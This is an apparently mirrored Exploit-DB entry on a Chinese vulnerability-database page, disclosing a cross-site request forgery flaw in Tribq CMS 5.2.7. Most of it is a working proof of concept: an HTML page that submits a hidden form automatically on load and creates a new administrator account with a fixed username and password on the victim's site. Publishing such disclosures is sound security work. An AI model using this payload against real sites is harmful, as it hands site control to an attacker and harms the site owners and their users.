Tribq CMS 5.2.7 - Cross-Site Request Forgery (Adding/Editing New Administrator Account)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1065128 漏洞类型
发布时间 2013-08-12 更新时间 2013-08-12
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/27514
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
###########################################################################################
# Exploit Title: Tribq CMS CSRF - Adding/Editing new administrator account 
# Date: 2013 8 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://sourceforge.net/projects/tribiq/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 5.2.7
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###########################################################################################

Summary:
========
1. CSRF - Adding administrator account


1. CSRF - Adding administrator account:
=======================================
From my standpoint, Tribq is a good CMS which is immune to many well-known vulnerabilities aside from CSRF. There are too many devastating actions may be done by hacker by conducting CSRF attack, although the critical ones are changing administrator password or adding new one. I provide an example of adding new administrator account, the attack can be done easily, afterwards, such a plain text may be appeared:

{"adminId":20,"adminType":"local"}

<html>
	<body onload="submitForm()">
	<form name="myForm" id="myForm"
	action="http://localhost/community-5.2.7c/community-5.2.7c/tb/ajax/admin_details.php" method="post">
	<input type="hidden" name="save" value="true">
	<input type="hidden" name="adminType" value="local">
	<input type="hidden" name="formMode" value="edit">
	<input type="hidden" name="username" value="Yashar">
	<input type="hidden" name="password" value="Yashar123">
	<input type="hidden" name="password_reconfirm" value="Yashar123">
	<input type="hidden" name="first_name" value="test">
	<input type="hidden" name="last_name" value="test">
	<input type="hidden" name="email" value="test@test.com">
	</form>
	<script type='text/javascript'>document.myForm.submit();</script>
</html>

/** Yasshar shahinzadeh **/